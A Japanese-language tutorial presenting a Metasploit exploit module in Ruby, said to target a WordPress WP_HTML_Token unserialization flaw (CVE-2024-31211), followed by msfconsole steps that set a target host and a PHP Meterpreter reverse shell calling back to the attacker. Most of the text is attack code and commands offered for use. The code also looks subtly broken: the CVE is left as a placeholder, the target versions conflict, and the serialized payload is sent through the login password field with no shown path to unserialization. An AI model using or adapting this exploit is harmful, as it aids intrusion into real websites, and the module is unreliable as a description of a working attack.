
Metasploitモジュールで、WP_HTML_TokenのWordPressアンシリアライゼーション脆弱性(CVE-2024-31211)を悪用し、リモートコード実行を実現します。
WordPressのWP_HTML_Tokenクラスのインスタンスのアンシリアライゼーションを介したRCE脆弱性を悪用するMetasploitモジュールを作成するには、アンシリアライゼーションの欠陥をトリガーし、任意のコード実行につながるペイロードの作成に焦点を当てます。
次のコードをMetasploit Frameworkインストールのmodules/exploits/multi/httpディレクトリにwordpress_wp_html_token_rce.rbとして保存します。
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress WP_HTML_Token Unserialization RCE',
'Description' => %q{
This module exploits a remote code execution vulnerability in WordPress via
the unserialization of instances of the `WP_HTML_Token` class. This allows for
code execution via its `__destruct()` magic method.
},
'Author' =>
[
'Your Name' # OneArch
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2024-XXXX'], # Replace with the correct CVE number
['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
],
'DisclosureDate' => 'Aug 03 2024',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
['WordPress <= 5.x', { }]
],
'DefaultTarget' => 0,
'Privileged' => false,
'Payload' =>
{
'BadChars' => "\x00",
}
))
register_options(
[
OptString.new('TARGETURI', [true, "The base path to the WordPress installation", '/']),
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wp-login.php'),
})
if res && res.code == 200 && res.body.include?('wp-login.php')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
print_status("Sending payload to trigger unserialization vulnerability")
serialized_payload = 'O:13:"WP_HTML_Token":1:{s:13:"__destruct";s:' + payload.encoded.length.to_s + ':"' + payload.encoded + '";}'
post_data = {
'user_login' => Rex::Text.rand_text_alphanumeric(8..12),
'user_pass' => serialized_payload,
'wp-submit' => 'Log In',
'redirect_to' => normalize_uri(target_uri.path, 'wp-admin/'),
'testcookie' => 1
}
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-login.php'),
'vars_post' => post_data
})
handler
end
end
モジュールの保存: モジュールをMetasploit Frameworkインストールのmodules/exploits/multi/httpディレクトリにwordpress_wp_html_token_rce.rbとして保存します。
/path/to/metasploit-framework/modules/exploits/multi/http/wordpress_wp_html_token_rce.rb
Metasploitの起動: ターミナルを開いて以下を実行し、Metasploit Frameworkを起動します。
msfconsole
新しいモジュールの使用: Metasploitコンソールで、以下のコマンドを使用して新しいエクスプロイトモジュールをロードします。
use exploit/multi/http/wordpress_wp_html_token_rce
設定と実行: RHOSTS、RPORT、TARGETURI、PAYLOADなどの必要なオプションを設定します。その後、モジュールを実行します。
msf6 > use exploit/multi/http/wordpress_wp_html_token_rce
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set RHOSTS target_ip
RHOSTS => target_ip
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set TARGETURI /
TARGETURI => /
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set LHOST your_ip
LHOST => your_ip
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > run
このMetasploitモジュールは、脆弱なWordPressインスタンスに細工されたシリアル化ペイロードを送信し、アンシリアライゼーションの脆弱性をトリガーして任意のコード実行を試みます。脆弱性の具体的な性質とターゲット環境に基づいて、ペイロードとモジュールを必要に応じて調整してください。